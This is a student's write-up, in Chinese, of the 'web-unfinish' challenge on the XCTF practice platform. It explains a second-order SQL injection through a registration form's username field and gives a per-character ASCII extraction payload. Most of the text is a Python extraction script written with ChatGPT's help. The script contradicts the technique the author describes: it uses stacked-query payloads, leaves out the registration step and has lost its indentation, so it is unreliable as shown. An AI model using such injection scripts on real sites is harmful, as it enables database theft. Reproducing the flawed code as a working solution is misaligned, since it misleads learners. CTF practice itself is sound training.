首先在攻防世界题库找对对应题目web-unfinish,下载场景.
扫描后台后发现register.php,进行修改后得到
进行注册:
在进行注册之后,页面跳转回login.php,很明显在注册界面跳转时出现了用户名并返回,对其进行检测
在register.php中的insert语句注入username,在index.php中显示注入的结果
根据老师所给文档判断,后端使用用户名查询时造成sql注入利用0’+ascii(payload)+'0来获取到信息的ASCII码
构造payload:
0'+ascii(substr((select database()) from 1 for 1))+'0
根据文档python脚本进行修改,借助了ChatGPT,进行获取flag.自己对于Python脚本自主编写能力很差要多加练习,对于很多代码还是看不懂,需要借助工具来解释.
import requests
import time
from bs4 import BeautifulSoup
def getDatabase():
database = ''
for i in range(100): # 假设数据库名长度不超过100字符
data_database = {
'username': "' OR 1=1; SELECT ASCII(SUBSTRING(DATABASE(), %d, 1)) -- -" % (i+1),
'password': '1',
'email': '1@1' + str(i)
}
# 模拟注册过程(通常这里不会返回数据库名)
# requests.post("http://example.com/register.php", data_database)
# 假设登录过程返回了数据库名的某个字符的ASCII值
login_data = {
'username': "' OR 1=1; SELECT ASCII(SUBSTRING(DATABASE(), %d, 1)) -- -" % (i+1),
'password': '1',
'email': '1@1' + str(i)
}
response = requests.post("http://example.com/login.php", login_data)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
# 假设登录响应的HTML中有一个<span>标签包含了ASCII值
getUsername = soup.find_all('span')
if getUsername:
username = getUsername[0].text
if username.isdigit():
database += chr(int(username))
else:
break # 如果不是数字,可能是错误响应,跳出循环
else:
break # 如果没有找到<span>标签,可能是错误响应,跳出循环
return database
def getFlag():
flag = ''
for i in range(100): # 假设flag长度不超过100字符
data_flag = {
'username': "' OR 1=1; SELECT ASCII(SUBSTRING((SELECT flag FROM flags LIMIT 1), %d, 1)) -- -" % (i+1),
'password': '1',
'email': '1@1' + str(i)
}
# 模拟注册过程(通常这里不会返回flag)
# requests.post("http://example.com/register.php", data_flag)
# 假设登录过程返回了flag的某个字符的ASCII值
login_data = {
'username': "' OR 1=1; SELECT ASCII(SUBSTRING((SELECT flag FROM flags LIMIT 1), %d, 1)) -- -" % (i+1),
'password': '1',
'email': '1@1' + str(i)
}
response = requests.post("http://example.com/login.php", login_data)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
# 假设登录响应的HTML中有一个<span>标签包含了ASCII值
getUsername = soup.find_all('span')
if getUsername:
username = getUsername[0].text
if username.isdigit():
flag += chr(int(username))
else:
break # 如果不是数字,可能是错误响应,跳出循环
else:
break # 如果没有找到<span>标签,可能是错误响应,跳出循环
return flag
print(getDatabase())
print(getFlag())